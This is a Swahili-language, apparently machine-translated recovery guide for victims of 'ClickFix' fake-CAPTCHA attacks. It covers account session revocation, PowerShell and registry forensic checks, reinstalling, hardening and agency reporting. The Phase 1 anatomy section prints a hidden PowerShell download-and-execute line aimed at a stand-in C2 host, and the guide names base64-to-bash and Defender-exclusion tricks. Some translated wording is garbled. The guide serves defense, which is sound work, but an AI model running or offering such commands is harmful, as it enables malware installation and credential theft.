Kashfa Bandia ya 'ClickFix' ya CAPTCHA: Kwa Nini Kubofya Win+R na Ctrl+V Huendesha Malware ya Kuiba Taarifa¶

Iwapo umebofya tu kitufe cha "Mimi si roboti" au "Thibitisha kuwa wewe ni binadamu" kwenye tovuti (au kuona Cloudflare Turnstile, Google Meet, Zoom, au ibukizi ya kosa la kusasisha kivinjari) ambayo imekuagiza ubonyeze Windows + R (au fungua ** terminal ya macOS **), bonyeza Ctrl + V (Cmd + V), na gonga Enter, kompyuta yako imetekeleza upakiaji wa moja kwa moja wa programu hasidi - mara nyingi Lumma Stealer, Vidar, StealC, RedLine, au Atomic macOS Stealer (AMOS) mwizi wa habari. Hakuna CAPTCHA halali, ukaguzi wa Cloudflare, au zana ya mikutano ya video Duniani itakayowahi kumwomba mwanadamu kufungua kidirisha cha Windows Run (Win + R), Windows terminal, Command Prompt, au terminal ya macOS na ubandike amri. Ulipobofya kisanduku cha kuteua bandia cha "Thibitisha" kwenye ukurasa huo wa wavuti, JavaScript mbaya (navigator.clipboard.writeText()) alinakili kimya kimya PowerShell iliyofichwa, mshta.exe, rundll32, au curl | bash amri kwenye ubao wako wa kunakili. Ndani ya sekunde 3 hadi 6 baada ya kubonyeza Enter, hati hiyo ilipakua kumbukumbu inayoweza kutekelezeka ambayo ilisimbua na kuchuja kila nenosiri lililohifadhiwa, kadi ya mkopo ya kujaza kiotomatiki, hifadhi ya kiendelezi ya kivinjari cha cryptocurrency (MetaMask, Phantom, Rabby), tokeni ya Discord/Telegram, na kidakuzi kinachotumika cha kuingia kutoka Chrome, Edge, Brave, na Firefox - kuruhusu wavamizi kuteka nyara akaunti zako za Gmail, Microsoft 365, benki na shirika bila kuhitaji nenosiri lako au Uthibitishaji wa Mambo Mbili (2FA) Kwa urekebishaji wa kina wa vipindi vya kivinjari vilivyotekwa nyara, pia wasiliana utekaji nyara wa vidakuzi vya kipindi, programu hasidi ya infostealer, na ubatilishaji wa nenosiri; ikiwa tayari unaona pesa zikitoka kwenye pochi ya kujilinda, ruka mara moja cryptocurrency mkoba kukimbia na mbegu maneno maelewano; au ikiwa mlaghai alikuongelea kusakinisha AnyDesk au ScreenConnect, ona usaidizi wa teknolojia ibukizi na uondoaji wa kompyuta ya mbali. Ikiwa maambukizi haya yalitokea kwenye kituo cha kazi cha hospitali, mtandao wa manispaa, au yanahusisha ulaghai wa mara moja wa usalama wa maisha, piga nambari ya dharura ya eneo lako (911 nchini Marekani na Kanada, 112 katika Umoja wa Ulaya, 999 nchini Uingereza) au angalia saraka yetu ya nambari za dharura.

Fanya hivi sasa¶

1. Chomoa kebo yako ya Ethaneti au zima Wi-Fi kwenye kompyuta iliyoambukizwa ndani ya sekunde 5: Waiba habari kama vile Lumma Stealer pakiti hifadhidata za SQLite za kivinjari chako (Login Data, Cookies, Network/Cookies, Web Data) katika a .zip weka kumbukumbu ndani %TEMP% na uipakie kwa Amri-na-Udhibiti (C2) seva, kisha mara nyingi peleka Trojan ya Ufikiaji wa Mbali ya sekondari (RAT), wakala wa makazi wa SOCKS5, au kipakiaji cha programu ya ukombozi. Kukata muunganisho wa intaneti husimamisha upakiaji wa pili na utiririshaji unaoendelea wa skrini/kibonye mara moja.
2. USITUMIE kompyuta iliyoambukizwa kubadilisha manenosiri yako - chukua simu mahiri safi (kwenye data ya mtandao wa simu) au kompyuta ambayo haijaambukizwa kwa sasa: Ikiwa kiweka vitufe mara kwa mara, mtekaji nyara wa ubao wa kunakili, au HVNC (Hidden Virtual Network Computing) moduli inafanya kazi katika RAM kwenye Kompyuta iliyoambukizwa, kuandika manenosiri yako mapya kwenye Kompyuta hiyo hiyo hukabidhi kitambulisho kipya moja kwa moja kwa mvamizi.
3. Kutoka kwa simu yako safi, bofya "Ondoka kwenye vifaa vyote / Batilisha vipindi vyote vinavyotumika" kwenye barua pepe yako msingi (Gmail / Microsoft 365 / Yahoo), kidhibiti nenosiri, na fanya kazi SSO (Okta / Entra ID) KWANZA:
4. Kwa nini kubadilisha nenosiri lako HAitoshi: Waibaji habari huiba vidakuzi vyako vya kipindi cha uthibitishaji vinavyotumika (SAPISID, SID, ESTSAUTH, .ROBLOSECURITY, li_at) Kwenye mifumo mingi, kidakuzi cha kipindi kilichohamishwa husalia kuwa halali kwa siku au wiki isipokuwa ubofye waziwazi Ondoka katika vipindi vyote / Batilisha tokeni NA uzungushe nenosiri lako.
5. Google / Gmail: Tembelea myaccount.google.com/device-activity -> chagua kila kipindi cha eneo-kazi -> bofya Ondoka, kisha ubadilishe nenosiri lako la Google na ukague Settings -> Forwarding and POP/IMAP kwa sheria za usambazaji wa kimya.
6. Microsoft / Outlook / Entra ID: Tembelea mysignins.microsoft.com/security-info -> bofya Ondoka kila mahali, kisha uweke upya nenosiri lako.
7. Ikiwa ulikuwa na kiendelezi chochote cha mkoba wa cryptocurrency (MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Exodus, Electrum) kwenye kompyuta hiyo, hamisha pesa zote hadi kwa maneno mapya kabisa kwenye kifaa safi mara moja:
8. Lumma Stealer na AMOS nakala iliyosimbwa Local Extension Settings Faili za vault za IndexedDB/LevelDB kutoka Chrome/Brave/Edge moja kwa moja hadi seva ya mvamizi, ambapo GPU hukusanya kwa nguvu kiendelezi chako cha ndani kufungua nenosiri nje ya mtandao (au soma kifungu cha maneno moja kwa moja kutoka kwa RAM ikiwa imefunguliwa). Fikiria kila kifungu cha mbegu na ufunguo wa kibinafsi uliowahi kuhifadhiwa kwenye Kompyuta hiyo umeathiriwa kwa asilimia 100.
9. **Kabla ya kuifuta Kompyuta, hifadhi amri kamili uliyobandika ili ujue ni nini kilitekelezwa **:
10. Kwenye Windows, fungua Notepad (ukiwa bado nje ya mtandao) na ubonyeze Ctrl + V kubandika chochote ambacho bado kimekaa kwenye ubao wako wa kunakili, au bonyeza Windows + R na ubofye mshale kunjuzi kusoma Iliyotumika Hivi Karibuni (MRU) Endesha historia iliyohifadhiwa ndani HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Piga picha ya amri hiyo na simu yako kwa jibu la tukio.
11. Weka usakinishaji upya wa mfumo safi wa USB (au ufute kwa uchunguzi kamili wa nje ya mtandao) badala ya kuamini uchunguzi wa haraka wa antivirus: Kisasa ClickFix upakiaji hutumia jozi halali za Windows zilizosainiwa (Living-off-the-Land Binaries au LOLBins kama mshta.exe, powershell.exe, certutil.exe, regsvr32.exe, na AutoIt3.exe) zinazoingiza katika michakato halali ya mfumo (explorer.exe, svchost.exe) na mara nyingi huongeza kutengwa kwa Windows Defender (Add-MpPreference -ExclusionPath)

Mti wa uamuzi: kuzuia na kupona mara moja baada ya ClickFix Win+R au Kuweka terminal¶

Fuata mti huu wa uamuzi pindi unapogundua kuwa ulibandika amri Win + R, Windows Terminal, au terminal ya macOS:

flowchart TD
    Start["Ilibandika CAPTCHA Bandia / Kosa Kurekebisha Amri kwenye Win+R, PowerShell, au terminal ya macOS"] --> Disconnect["HATUA YA 1 (Sekunde 0 hadi 10): Chomoa Ethaneti na Uzime Wi-Fi kwenye Kompyuta Iliyoambukizwa Mara Moja."]

    Disconnect --> CryptoCheck{"Je. Kompyuta Hii Ilikuwa na Mikoba Yoyote ya Crypto (MetaMask, Phantom, Exodus, Ledger Live, Keys Saved)?"}

    CryptoCheck -->|"Ndiyo"| EvacCrypto["HATUA YA 2 (HARAKA): Kwenye Kipochi Safi cha Simu/Vifaa, Tengeneza Kauli MPYA KABISA ya Mbegu na Hamisha Mali Zote Mara Moja."]
    CryptoCheck -->|"Hapana"| CleanDevice["HATUA YA 2: Badilisha hadi Simu mahiri Safi (Data ya Simu) au Kifaa Kisichoambukizwa"]

    EvacCrypto --> CleanDevice

    CleanDevice --> RevokeSessions["HATUA YA 3: Batilisha Vikao vya Upande wa Seva na Zungusha Nywila kwa Mpangilio wa Kipaumbele"]

    RevokeSessions --> P1["1. Barua pepe Msingi (Gmail / M365 / Proton): Ua Vipindi Vyote Vinavyotumika vya Kifaa, Weka Upya Nenosiri, Angalia Kanuni za Usambazaji"]
    P1 --> P2["2. Kazi/SSO ya Shirika (Okta / Kitambulisho cha Entra / VPN / AWS / GitHub / Vifunguo vya SSH): Iarifu SOC ya Biashara Mara Moja Ikiwa Akaunti za Kazini Zimeingia"]
    P2 --> P3["3. Akaunti za Fedha, Benki, PayPal, Stripe, Amazon, Steam, Discord na Mitandao ya Kijamii."]

    P3 --> InspectPayload["HATUA YA 4 (Nje ya Mtandao kwenye Kompyuta Iliyoambukizwa): Angalia Rejesta ya RunMRU & Kitambulisho cha Tukio la Uendeshaji la PowerShell 4104 ili Kutambua Upakiaji"]

    InspectPayload --> WipeChoice{"Je, Hii ​​ni Mwisho wa Biashara au Kompyuta ya Kibinafsi?"}
    WipeChoice -->|"Shirika / BYOD na Ufikiaji wa Kazi"| CorpIR["Mashine ya Mikono Nje ya Mtandao kwa Usalama wa IT / SOC kwa Uchunguzi wa Uchunguzi wa EDR na Picha mpya ya BitLocker"]
    WipeChoice -->|"Windows / Mac ya kibinafsi"| CleanInstall["Hifadhi nakala za Hati Dhahiri Pekee (No .exe/.bat/.dmg) -> Anzisha Safi USB -> Futa Vitengo na Usakinishe Uendeshaji upya"]

Awamu ya 1: Anatomia ya shambulio la "ClickFix" - Jinsi ukurasa wa wavuti unavyoteka nyara Win + R¶

Kuelewa kile kilichotokea ndani ya mfumo wako wa uendeshaji wakati wa sekunde hizo 5 hufafanua kwa nini faili na akaunti fulani ziko katika hatari ya haraka wakati zingine haziko.

1. Vivutio 3 vya uhandisi wa kijamii vinavyotumika katika kampeni za ClickFix¶

Wavamizi husambaza miwekeleo ya ClickFix kote katika upotoshaji (matokeo ya utafutaji yanayofadhiliwa), tovuti zilizoathiriwa za WordPress, lango la programu/utiririshaji potofu, hazina feki za GitHub, na barua pepe za hadaa: 1. Sanduku la Cloudflare Bandia / Google reCAPTCHA ("Thibitisha Wewe ni Binadamu"): Unabofya kisanduku tiki cha "Mimi si roboti". Badala ya alama ya kuteua ya kijani, dirisha ibukizi linaonekana likisomeka: "Trafiki isiyo ya kawaida imegunduliwa. Ili kuthibitisha kuwa wewe ni binadamu, kamilisha hatua hizi 3: 1. Bonyeza Windows + R kwenye kibodi yako. 2. Bonyeza Ctrl + V. 3. Bonyeza Enter." 2. Hitilafu Bandia ya Chrome / Edge au Kusasisha ("Hitilafu imetokea wakati wa kuonyesha ukurasa huu wa wavuti"): Mandharinyuma yenye ukungu hufunika tovuti kwa kidadisi kinachoonekana rasmi cha Chrome kinachodai cheti cha mizizi kinachokosekana au sasisho la fonti inakuhitaji ufungue Windows PowerShell / Terminal na ubandike "hati rasmi ya kurekebisha." 3. Makrofoni ya Kuza Bandia / Google Meet / Timu za Microsoft au Hitilafu ya Kamera: Inatumwa kupitia mialiko bandia ya usaili wa kazi au viungo vya mkutano wa mteja, ukurasa unaonyesha skrini ya video inayozunguka na huwahimiza watumiaji wa MacOS na Windows kufungua Kituo na kubandika amri ya "kuweka upya kiendeshi".

2. Kwa nini amri ilionekana kuwa haina madhara katika Win + R sanduku¶

The Windows + R (Run) kisanduku cha maandishi cha kidadisi kina upana wa vibambo 259 tu** (MAX_PATH Sehemu ya ingizo ya UI), na huonyesha tu mwisho wa kamba iliyobandikwa baada ya kishale chako kuruka kulia. Wavamizi hutumia upunguzaji huu wa kuona kwa kuweka amri yao mbovu kwenye nafasi au kuimalizia kwa maoni bandia:

powershell.exe -w hidden -nop -c "iex(iwr 'https://malicious-c2.example/payload.txt' -UseBasicParsing)" # Cloudflare Human Verification ID: 849201 - Press Enter to Confirm

3. Nini hasa Lumma Stealer, StealC, na AMOS kuiba katika sekunde 4¶

Awamu ya 2: Kufungia Akaunti na Kubatilishwa kwa Kipindi (Dakika 1 hadi 30 - Kwenye Kifaa Kisafi)¶

Ingawa Kompyuta iliyoambukizwa inasalia kuunganishwa kabisa na mtandao, tumia simu mahiri au kompyuta ya pili kutekeleza mfuatano huu wa kuzuia.

Hatua ya 1: Funga Akaunti zako za Barua pepe (Gmail, Microsoft 365 / Outlook, Yahoo, Apple iCloud)¶

Kwa kila akaunti ya barua pepe ambayo imeingia kwenye wasifu wowote wa kivinjari (Default, Profile 1, Work) kwenye kompyuta hiyo: 1. Sitisha vipindi vyote vinavyotumika vya kifaa: - Google / Gmail: Nenda kwa myaccount.google.com/device-activity -> chagua kifaa cha Windows/Mac kilichoambukizwa (na vipindi vyovyote usivyovifahamu) -> bofya Ondoka. Tembelea pia myaccount.google.com/connections na kubatilisha programu zozote za OAuth za wahusika wengine zinazoshukiwa. - Microsoft (Binafsi & Kazi M365): Nenda kwenye account.live.com/proofs/Manage (binafsi) au mysignins.microsoft.com/security-info (kazi) -> bofya Ondoka kila mahali. 2. Badilisha nenosiri la barua pepe liwe nenosiri jipya kabisa, la kipekee lililohifadhiwa kwenye kifaa chako safi pekee. 3. Kagua Kanuni za Kikasha, Vichujio, na Usambazaji Kiotomatiki mara moja: Waendeshaji wanaoiba taarifa huendesha hati otomatiki ambazo huingia kwenye vidakuzi vya Gmail/Outlook vilivyoibiwa ndani ya dakika chache baada ya kuambukizwa na kuunda kichujio kilichofichwa: Ikiwa ujumbe una "Usalama", "Msimbo", "Coinbase", "Binance", "Benki", au "Steam" -> Weka alama kuwa Imesomwa, Sambaza Mshambulizi, Hamishia kwenye Tupio/Milisho ya RSS. - Katika Gmail: Fungua mwonekano wa eneo-kazi -> Settings (gear icon) -> See all settings -> Filters and Blocked Addresses NA Forwarding and POP/IMAP. Futa kichujio chochote au anwani ya usambazaji mara moja. - Katika Outlook / M365: Fungua Settings -> Mail -> Rules NA Mail -> Forwarding NA Mail -> Junk email (angalia watumaji waliozuiwa ili kuhakikisha kuwa mshambuliaji hakuzuia no-reply@accounts.google.com au benki yako).

Hatua ya 2: Funga Vidhibiti vya Nenosiri (Bitwarden, 1Password, Dashlane, KeePass, iCloud Keychain)¶

• Je, ulihifadhi manenosiri yako ndani ya Kidhibiti cha Nenosiri cha Chrome / Edge / Brave? Kila nenosiri moja lililohifadhiwa katika Chrome, Edge, Brave, Opera, au Firefox (isipokuwa Firefox ilikuwa na nenosiri maalum la Nenosiri) lilitumwa kwa maandishi wazi na mwizi wa maelezo. Ni lazima uchukue asilimia 100 ya manenosiri yaliyohifadhiwa kwenye kidhibiti cha nenosiri kilichojengewa ndani ya kivinjari kuwa yameathirika na uyabadilishe kwa kuanzia na akaunti za fedha, barua pepe na za kazi.
• Je, ulitumia Kidhibiti cha Nenosiri maalum (1Password, Bitwarden, Proton Pass, Keeper)?
• Ikiwa kipengee cha kusalia kilikuwa kimefungwa wakati ulipotoa amri, hifadhi yako iliyosimbwa kwa njia fiche itaendelea kulindwa na Nenosiri lako Kuu / Ufunguo wa Siri.
• Ikiwa kiendelezi cha kuba kilikuwa kimefunguliwa kwenye kumbukumbu (au ikiwa ulicharaza Nenosiri lako Kuu baada ya kutekeleza amri), ingia kwenye hifadhi ya wavuti ya kidhibiti cha nenosiri kutoka kwa simu yako safi, bofya Kuidhinisha vipindi vyote (Bitwarden: Settings -> My Account -> Deauthorize Sessions), zungusha Nenosiri lako Kuu, na utangulize vitambulisho vya thamani ya juu vinavyozunguka ndani ya kuba.

Hatua ya 3: Batilisha Tokeni za Msanidi Programu, Shirika, na Gumzo (GitHub, AWS, Discord, Telegram, Steam)¶

• Discord: Kubadilisha nenosiri lako la Discord hubatilisha kiotomati tokeni yako ya zamani ya uthibitishaji (leveldb ishara). Badilisha mara moja nenosiri lako la Discord kutoka kwa simu yako, angalia Settings -> Devices -> **Toka nje ya vifaa vyote vinavyojulikana **, na uangalie Settings -> Authorized Apps na Settings -> Billing (ondoa kadi za mkopo zilizohifadhiwa/PayPal).
• Telegramu: Kwenye simu yako, fungua Telegram -> Settings -> Devices -> gusa Sitisha Vipindi Vingine Vyote mara moja (hii inaua chochote kilichoibiwa tdata Clone ya folda ya desktop).
• Steam: Kwenye simu yako, fungua programu ya Steam -> Steam Guard (shield icon) -> Gear icon -> Deauthorize all devices, badilisha nenosiri lako, na uhakikishe kuwa hakuna Ufunguo wa API uliosajiliwa steamcommunity.com/dev/apikey (walaghai husajili ufunguo mbaya wa API ya Wavuti ya Steam ili kuteka nyara ofa za biashara).
• GitHub / GitLab / AWS / SSH: Ikiwa wewe ni mhandisi wa programu au sysadmin, tembelea github.com/settings/sessions (batilisha vipindi vya kivinjari), github.com/settings/keys (futa funguo za SSH zilizohifadhiwa kwenye PC hiyo), github.com/settings/tokens (batilisha Tokeni za Ufikiaji wa Kibinafsi), na uzungushe yoyote -/.aws/credentials Vifunguo vya IAM kwenye kiweko cha AWS IAM mara moja. Tazama mwongozo wetu uliojitolea mnyororo wa usambazaji npm/PyPI maelewano na mzunguko wa ufunguo wa kituo cha kazi cha msanidi programu.

Awamu ya 3: Ukaguzi wa Uchunguzi wa Uchunguzi wa Nje ya Mtandao - Kujua ni nini hasa kilifanyika kwenye Kompyuta yako¶

Kabla ya kufuta na kusakinisha tena kompyuta iliyoambukizwa (au unapotayarisha ripoti kwa ajili ya timu yako ya usalama ya shirika), unaweza kukagua kwa usalama ni nini ClickFix amri ilifanya ikiwa imeweka mashine nje ya mtandao 100% (Wi-Fi imezimwa, Ethernet haijachomekwa).

1. Kukagua Windows Win + R Historia na Kumbukumbu za PowerShell¶

1. Angalia Windows Run (Win + R) Usajili MRU (Most Recently Used) orodha: Fungua regedit.exe au dirisha la PowerShell la nje ya mtandao na uendeshe:

   Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
   

   Kila amri iliyowahi kuchapwa au kubandikwa ndani Win + R imehifadhiwa hapa chini ya mali a, b, c, n.k. Angalia amri iliyorekodiwa kwa herufi iliyoonyeshwa kwanza ndani MRUList.
2. Angalia Kumbukumbu ya Matukio ya Kuzuia Hati ya PowerShell (Kitambulisho cha Tukio 4104): Hata kama mshambuliaji alitumia -WindowStyle Hidden (-w h) na usimbaji wa Base64 (-EncodedCommand / -e), Windows hutenganisha kiotomatiki na kuweka hati za PowerShell zinazotiliwa shaka katika Kitazamaji Tukio:
3. Bonyeza Win + X -> Kitazamaji cha Tukio -> nenda hadi Applications and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational.
4. Chuja kwa Kitambulisho cha Tukio 4104 (Execute a Remote Command) Utaona hati kamili ya PowerShell iliyofumbuliwa, URL iliyopakuliwa kutoka, na folda iliyo ndani. %TEMP%, %AppData%, au %LocalAppData% ambapo ilishuka mzigo wake wa pili.
5. Angalia ambapo uvumilivu ulisakinishwa kwenye Windows: Waiba habari na hati zao za upakiaji (NetSupport Manager RAT, Amadey, SectopRAT, AsyncRAT) anzisha maisha ya kuwasha upya katika sehemu nne:

   # 1. Registry Run / RunOnce keys:
   Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
   Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
   
   # 2. Startup Folder shortcuts (.lnk / .vbs / .bat):
   Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force
   
   # 3. Recently created Scheduled Tasks:
   Get-ScheduledTask | Where-Object {$_.Author -ne "Microsoft Corporation"} | Select-Object TaskName, TaskPath, State
   
   # 4. Windows Defender Exclusions added by the malware:
   Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
   Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
   

   (Ikiwa unaona C:\, C:\Users, %AppData%, au .exe imeongezwa chini ExclusionPath au ExclusionProcess, programu hasidi ilipofusha Microsoft Defender kwenye mashine yako.)

2. Kukagua macOS baada ya Terminal ClickFix (Atomic macOS Stealer / AMOS au Poseidon)¶

Kwenye macOS, kurasa za BonyezaFix zinamwambia mtumiaji kufungua Kituo (Cmd + Space -> Terminal) na ubandike amri iliyosimbwa ya base64 kama echo "..." | base64 -d | bash. 1. Ukiwa nje ya mtandao, angalia historia yako ya ganda (cat -/.zsh_history | tail -n 30 au cat -/.bash_history) 2. Angalia kama programu hasidi imesakinisha Kizinzio cha usuli endelevu:

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons

Awamu ya 4: Urekebishaji Safi - Kwa nini ufute na usakinishe upya (au kuendesha uokoaji nje ya mtandao)¶

Vyombo vya usalama (CISA, FBI, NCSC) ushauri kwa nguvu kufuta na kusakinisha tena mfumo wa uendeshaji kutoka kwa kiendeshi safi cha USB baada ya kiiba habari au LOLBin utekelezaji, kwa sababu vipakiaji mara kwa mara huingiza msimbo wa ganda kwenye jozi halali za mfumo, kusakinisha viendeshaji rootkit/proksi, au kuacha milango ya nyuma tulivu (NetSupport RAT / Cobalt Strike)

Safisha Usakinishaji upya hatua kwa hatua na Hifadhi Nakala salama ya Faili¶

1. Wakati Kompyuta iliyoambukizwa bado iko nje ya mtandao, hifadhi nakala TU za faili za data: Nakili hati za kibinafsi, picha, lahajedwali na msimbo wa chanzo pekee (.pdf, .jpg, .docx, .xlsx, .mp4, .txt) kwenye kiendeshi cha nje cha USB. Usihifadhi nakala kamwe .exe, .msi, .bat, .ps1, .vbs, .js, .lnk, .dmg, .pkg, au kivinjari User Data folda za wasifu.
2. Kwa PILI, safisha kompyuta, unda USB inayoweza kuwashwa ya Uundaji Midia ya Windows 11 (microsoft.com/software-download/windows11) au mazingira ya Urejeshaji wa macOS.
3. Anzisha kutoka kwa kisakinishi safi cha USB, futa sehemu zote zilizopo kwenye SSD ya kuwasha (kwa hivyo Sehemu ya Mfumo wa EFI, MSR, na kizigeu cha msingi cha OS zimeundwa upya), na usakinishe nakala safi ya mfumo wa uendeshaji.
4. Ikiwa huwezi kabisa kuifuta mashine mara moja:
5. Ondoa vizuizi vyote vya Defender (Remove-MpPreference -ExclusionPath ...)
6. Anzisha katika Modi Salama ya Windows na Mitandao imezimwa (au anzishe kutoka Diski ya Uokoaji ya Kaspersky / ESET SysRescue USB Live), na utekeleze skanisho kamili za nje ya mtandao ukitumia Microsoft Defender Offline (Start-MpWDOScan), Malwarebytes, na ESET Online Scanner, pamoja na kukagua kila ingizo katika Sysinternals Autoruns (autoruns64.exe) na Ficha Maingizo ya Microsoft bila kuchaguliwa.

Awamu ya 5: Kuimarisha Windows na macOS ili ClickFix isiweze kutokea tena¶

• Ficha au zima Windows + R (Run) kidirisha cha wanafamilia wasio wa kiufundi au watumiaji wa kawaida wa shirika kupitia Sera ya Kikundi / Usajili: Mpangilio NoRun = 1 (DWORD) chini HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer inalemaza kabisa Windows + R njia ya mkato ya kibodi. Kwa sababu asilimia 95 ya mashambulizi ya ClickFix hutegemea ubonyezo wa mtumiaji Win + R, kulemaza kidirisha cha Run husimamisha uvamizi wa mashambulizi kabla ya mtumiaji kubandika chochote.
• Badilisha muungano wa faili chaguo-msingi kwa .hta, .vbs, .js, na .wsf maandishi kwa notepad.exe: kulemaza mshta.exe na wscript.exe kupitia Kupunguza uso wa Mashambulizi ya Windows (ASR) sheria au ushirika .hta/.vbs/.js na Notepad huzuia utekelezaji wa hati.
• Boresha akaunti muhimu hadi Vifunguo vya Ufungaji vya Vifaa (FIDO2 / WebAuthn Funguo za Usalama kama vile YubiKey): Ingawa wezi-maelezo wanaweza kuiba vidakuzi vya kipindi kutoka kwa kivinjari baada ya kuingia, funguo za usalama za maunzi (FIDO2) na maisha mafupi ya kikao na Tathmini ya Ufikiaji Endelevu (CAE / Kitambulisho cha Kikao Kinachofungamana na Kifaa DBSC) kuzuia washambuliaji kuthibitisha upya au kuhamisha kitambulisho msingi.
• Sakinisha tangazo la kivinjari na kizuizi cha upotoshaji (uBlock Origin / uBlock Origin Lite) na uwashe Kivinjari Kilichoimarishwa cha Salama: Zaidi ya asilimia 60 ya maambukizi ya ClickFix yanatokana na matangazo hasidi ya utafutaji wa Google/Bing yanayoiga programu halali (Slack, Notion, OBS, Homebrew, WinSCP, TradingView) au tovuti za utiririshaji.

Nambari za dharura za kikanda na itifaki za wakala¶

Ikiwa BonyezaFix / Lumma Stealer maambukizi yaliathiri kitambulisho cha kampuni, mifumo ya huduma ya afya, akaunti za fedha, au mitandao ya serikali, ripoti tukio hilo mara moja kupitia njia rasmi:

• Marekani na Kanada:
• Usalama wa Dharura wa Maisha / Miundombinu Muhimu: Piga 911 ikiwa maambukizi yatasumbua mifumo ya kliniki ya hospitali au shughuli za usalama wa umma.
• Kituo cha Malalamiko ya Uhalifu Mtandaoni wa FBI (IC3) (Marekani): Andika ripoti mara moja kwa ic3.gov (hasa ikiwa sarafu ya cryptocurrency, nyaya za benki, au Maelewano ya Barua pepe ya Biashara ya shirika yalitokana na vidakuzi vya kipindi vilivyoibiwa).
• Wakala wa Usalama wa Mtandao na Miundombinu (CISA) (Marekani): Biashara na mashirika muhimu ya miundombinu yanapaswa kuripoti ukiukaji wa habari kwa 1-844-Say-CISA (1-844-729-2472) au cisa.gov/report.
• Kituo cha Kupambana na Ulaghai cha Kanada (CAFC) & Cyber Centre: Piga simu 1-888-495-8501 au ripoti kwa cyber.gc.ca.
• Uingereza:
• Huduma za Dharura: Piga 999 (au 101 kwa polisi wasio wa dharura).
• Ulaghai wa Kitendo na NCSC: Ripoti uhalifu wa mtandaoni na fedha zilizoibiwa kwa Udanganyifu wa Kitendo (0300 123 2040 / actionfraud.police.uk). Iwapo data ya mteja wa kampuni au vitambulisho vilitolewa, tathmini ya lazima ** arifa ya GDPR ya Uingereza ya saa 72 kwa ICO (0303 123 1113)**.
• Umoja wa Ulaya:
• Huduma za Dharura: Piga 112 katika nchi zote wanachama wa EU.
• Kifungu cha 33 cha GDPR & Ripoti ya CSIRT ya NIS2: Kwa sababu Lumma Stealer huondoa vivinjari vyote Login Data, Cookies, na akiba za kujaza kiotomatiki, kompyuta ndogo yoyote ya shirika iliyoambukizwa iliyokuwa na data ya kibinafsi ya mfanyakazi au mteja ni ukiukaji wa data ya usiri uliothibitishwa, unaohitaji tathmini ya taarifa ya saa 72 kwa Mamlaka ya Kitaifa ya Ulinzi wa Data (DPA).
• Australia na New Zealand:
• Huduma za Dharura: Piga 000 nchini Australia au 111 huko New Zealand.
• Kituo cha Usalama cha Mtandao cha Australia (ACSC / ReportCyber): Piga simu 1300 CYBER1 (1300 292 371) au faili kwa cyber.gov.au (na wasiliana na IDCARE kwa 1800 595 160 kwa ajili ya kurejesha utambulisho). Nchini New Zealand, ripoti kwa CERT NZ (0800 237 869).
• India na Asia-Pacific:
• Nambari ya Msaada ya Kitaifa ya Uhalifu wa Mtandaoni ya India & CERT-In: Piga simu 1930 mara moja ikiwa ulaghai wa kifedha ulitokea, faili kwenye cybercrime.gov.in, na kuripoti ukiukaji wa shirika kwa CERT-In (incident@cert-in.org.in) ndani ya masaa 6.

Maswali yanayoulizwa mara kwa mara¶

Nilifungua Win + R na kushinikizwa Ctrl + V, kwa hivyo maandishi yalionekana kwenye kisanduku, lakini niligundua kuwa yalionekana kama kivuli na kubofya "Ghairi" BILA kubonyeza. Enter. Je, nimeambukizwa?¶

Hapana, uko salama kabisa. Ukurasa wa wavuti wa kivinjari unaweza kunakili maandishi kwenye ubao wako wa kunakili kwa kutumia JavaScript (navigator.clipboard.writeText), na kushinikiza Shinda + R ikifuatiwa na Ctrl + V kubandika tu kamba hiyo ya maandishi kwenye kisanduku cha kuingiza sauti cha Windows Run. Hakuna kinachotekelezwa hadi ubonyeze Ingiza au bonyeza SAWA. Ikiwa ulibofya Ghairi au kufungwa Kimbia sanduku bila kushinikiza Ingiza, hakuna amri iliyozinduliwa. Futa tu ubao wako wa kunakili kwa kunakili neno lisilo na madhara kama habari kwenye Notepad na ufunge kichupo cha kivinjari hasidi.

Kwa nini Windows Defender au antivirus yangu haikuzuia amri nilipoibandika Win + R?¶

Kwa sababu wewe - mtumiaji wa kibinadamu aliyeingia - ulibanwa kimwili Shinda + R na kugonga Ingiza, Windows huchukulia amri kama kitendo cha kukusudia cha kiutawala kilichozinduliwa kutoka Explorer.exe badala ya faili isiyoaminika iliyopakuliwa kutoka kwa wavuti (ambayo kawaida hubeba Alama-ya-Wavuti. Kitambulisho.Kanda tagi). Kwa kuongezea, minyororo ya ClickFix hutumia jozi zilizosainiwa za Microsoft (mshta.exe, powershell.exe, conhost.exe, au wakalimani wa watu wengine waliosaini kama AutoIt3.exe) kukusanya na kusimbua upakiaji moja kwa moja kwenye RAM, mara nyingi hutekelezwa Add-MpPreference -Njia ya Kutengwa "C:\" katika milisekunde ya kwanza kabla ya kuandika faili yoyote ya programu hasidi inayotambulika kwenye diski.

Je, mwizi wa habari huiba faili kutoka kwa akaunti zote za watumiaji kwenye Kompyuta yangu, au wasifu wangu nilioingia tu (Default dhidi ya Profile 1, Profile 2)?¶

Uchanganuzi wa wizi wa habari kila folda ya wasifu wa kivinjari ndani ya akaunti yako ya mtumiaji wa Windows (%LocalAppData%\Google\Chrome\User Data\Default, Wasifu 1, Wasifu 2, n.k., kote kwenye Chrome, Edge, Brave, Opera, na Firefox), hata kama wasifu huo wa pili wa kivinjari haukuwa na dirisha lililofunguliwa wakati huo. Hiyo inamaanisha ikiwa utaweka wasifu tofauti wa "Kazi" wa Chrome na wasifu wa "Binafsi" wa Chrome chini ya kuingia sawa kwa Windows, wasifu zote mbili ziliibiwa nywila zao zilizohifadhiwa na vidakuzi vya kipindi kwa wakati mmoja.

Je, ikiwa ningetumia Ufunguo wa Nywila kwenye akaunti yangu ya Google au Microsoft - je, mwizi wa maelezo aliiba Ufunguo wangu wa siri?¶

